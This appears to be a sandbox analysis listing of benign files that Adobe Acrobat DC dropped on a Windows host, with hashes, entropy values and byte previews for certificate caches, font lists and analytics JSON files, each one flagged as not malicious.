Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7608141181749795
Encrypted:	false
SSDEEP:	3:kkFklDymmNttfllXlE/HT8kEl/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK5m6teT8rTNMa8RdWBwRd
MD5:	94D1602170B5A208525836F47841BEF4
SHA1:	0A4A0CEABFF64629CAD6653210484E8160D4DA7E
SHA-256:	A88B6A804FB666FC8B50366629AC18F20D3D5570E4E44175556A5C475B7232A7
SHA-512:	8138CB0BE9BE29402DA122C731CD58033AE2D02C3EDFA8A800256C14A171E0772C8F428880EB2F50B0DEE2B35EFCA0A38E80F96299DDA66EC2813D3CE79E2E2B
Malicious:	false
Preview:	p...... ........p.2S~c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2227007254658213
Encrypted:	false
SSDEEP:	6:kKp/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5iDImsLNkPlE99SNxAhUe/3
MD5:	B2AB5502EE3920DC2D7DCAAFECB13B8C
SHA1:	5D6BCAF75D09514289AB03E491E77355389A6778
SHA-256:	498F23F63F3C490725CCF36ECC9310F7419DCDA9985CDB258D5765F12C1F0D36
SHA-512:	102DAE70ACD95B5CD6975B11F21964AC35C73F27426B5CFDD1089AC21DA77FD338D24C5FACB13D0100439E90E4C5F4ECC1F753D2B1D58CA6F1628DE2A519E6E2
Malicious:	false
Preview:	p...... ........R2.e~c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7824

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7824

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3571450314324816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJM3g98kUwPeUkwRe9:YvXKXBHUito/9GMbLUkee9
MD5:	E5081F174EFEC3AC5A76A05F8B5B5A40
SHA1:	1F5C88703CFAD2A3AEB2C9F804561A220CB8A3D1
SHA-256:	E07622EFC3852CA66770023EFB5D4E6CA1167EE7B6C9D24D1D51FB32B32F8903
SHA-512:	F5CF91C1B851FDA927F4F423FF7626D07E47C2732524C0890D1216B21D041588A278E263F8E5EBE93FCF9EBAF542B24B288D085641835FFC1F05F3710F808B31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30090304600226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfBoTfXpnrPeUkwRe9:YvXKXBHUito/9GWTfXcUkee9
MD5:	1AD547995F09646C2A2EABDCFD595ADA
SHA1:	A90FCE772CECF7B59AF7B2E113F5DD274DC9A844
SHA-256:	89F91DFB7831638474B94840E3A4FB42AAC745D8E8E6E030327D64108549141B
SHA-512:	7CE02829807C674CB9EE9B89C0B49F5472D591FD24DECB91860A8829F46C066D1B679310D1764F99EEC6AB254C671203F9784DEC54DBB497259EE78645144384
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280662373659256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfBD2G6UpnrPeUkwRe9:YvXKXBHUito/9GR22cUkee9
MD5:	CB682B23E0F1430B56009F977CDBDAAF
SHA1:	A561AC8B7349D5C58E4F1C7AB41B097839BF24E4
SHA-256:	14234F5FDD877624E4A108373E738C4EA210328BFA7B1620AF13F1A854CA793C
SHA-512:	0644F1F87251FC5B3DB6D2E967C8595591654E377317FCE043C3627344ED3BBF5431142DFAD03DBDE23645476708F05392341F299E61085D7D58D69992F19727
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.347605355202272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfPmwrPeUkwRe9:YvXKXBHUito/9GH56Ukee9
MD5:	C3251ED8A140F61F7F1A4E652B6FD589
SHA1:	E676098E9887B701B9E1F8497E51BD68E4EB3B49
SHA-256:	1715F5B82C563D4C815E18EF3ED029ABB57DBE4EA02B15E228362B5B131EC633
SHA-512:	BF3E904FAB6D033BA747AEBCCAD4B535EDE5B71C624392E984357BF436F4273E7258781838B78250ED4F1A8A7EE348E43E245A794554CED8A5DBF5C481BF9CCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692339053428286
Encrypted:	false
SSDEEP:	24:Yv6XD6KpLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvM6Khgy6SAFv5Ah8cv/j
MD5:	F79F1A3FAEFE900F7633A16C0568371A
SHA1:	E70E15680166D2061BE50CB2402CBB4D0114D2F1
SHA-256:	7000CA0D2E599046D00D2EE1D3DCFC613FEB54D04FDCAA1DF651068AFE571B38
SHA-512:	6D928065A3742B349E0AF893EF2BF461374A7E3F60B9B90BE472A7C1774E3AB6682D42716FC236F5307D793A17D25F49CB896F1947FD965B4F61CB2F3CA06967
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295979245096261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJf8dPeUkwRe9:YvXKXBHUito/9GU8Ukee9
MD5:	53DCFE076DBA6180D922FF65086BD6F1
SHA1:	C3A0E5CD15E0BDF20C2ACA460309D4C8FAE02CBD
SHA-256:	3EACCA1579481BCC74F146BDC3B0DCFDC5C88CC66A68C06DD5BD7A98FDD4B49D
SHA-512:	2CCE4BD050140F85B3FBA4FC991B59C9F432983F1428359556C544CE5DE7E01FE970D2C97F8FAB5B5EBC95F6B954C87332C4959D0B7870DC1461A85A6674437B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297284753035282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfQ1rPeUkwRe9:YvXKXBHUito/9GY16Ukee9
MD5:	104722C0F1BCF7F788C968996FC65752
SHA1:	C73D74470DAD83F414DB821433B53AB426C1395A
SHA-256:	C265EE08DAA1578D0FD7D21AC687497F2574B30ECA9305DCF8E8FFF784CC1237
SHA-512:	6EADCA8F96ECC6CC6EF4BB77BDEB6903FAA9ECDA5176A35FD6CA880432E9B8F85B4871584AE8D6822E61AB87E8BD00B321767F426D2523424A827CC54F841139
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3064929872467435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfFldPeUkwRe9:YvXKXBHUito/9Gz8Ukee9
MD5:	9CB10FC1F573FFDE611A0D0B6CC83E9E
SHA1:	B9297218FC77C3DA4B4327E5D126386ED945843C
SHA-256:	D2078A7C7BCD18E5132C9DBA11C1BF77639608D93875F56E12893ADE135253A0
SHA-512:	D3F9BFCAF89386AABFC23E59433667B4F7CEC032AF18D2F2481C51DE69DDCE9D04A912366B3B609EF488FD73D8BC9159A70E4B6E5560596FDCEF57FB57545F6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319744604758487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfzdPeUkwRe9:YvXKXBHUito/9Gb8Ukee9
MD5:	D4F21FC550FEA02BC7576AC9E4F2798D
SHA1:	8AF5E87163841199176DE1D47BDFEF0A9FD1FC28
SHA-256:	4E79BF439439767768E1D1BBCE255EA29CCB19A4A2BAF52882DB9492B1A5CA3D
SHA-512:	78741B8D0756C0003A45B8A7BAA0FEC915E97365447F07093A6687A650477779ABBD217B7367EA505F3C7363F7AAE09D858F65F45BB66FB105F3AFA772B724AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30093659431644
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfYdPeUkwRe9:YvXKXBHUito/9Gg8Ukee9
MD5:	428DBBB80753B59A161D0F0BEF6064CE
SHA1:	BAD0D38B7B24367266A0F5EEE1942D9FC84F8678
SHA-256:	2441DC6396A6BAEFD51183AB7DE27BCB8D4EB737E43491F24FB1AEA6BC430FC4
SHA-512:	79E049FCAB8CB042EC1E85B656AB30379FAB1B273612E9F749430DCAD4CA04B0C8C6C187EB8E30219A12B89394290E9E4A59A1A80C4F6E40298ED00225398ECC
Malicious:	false
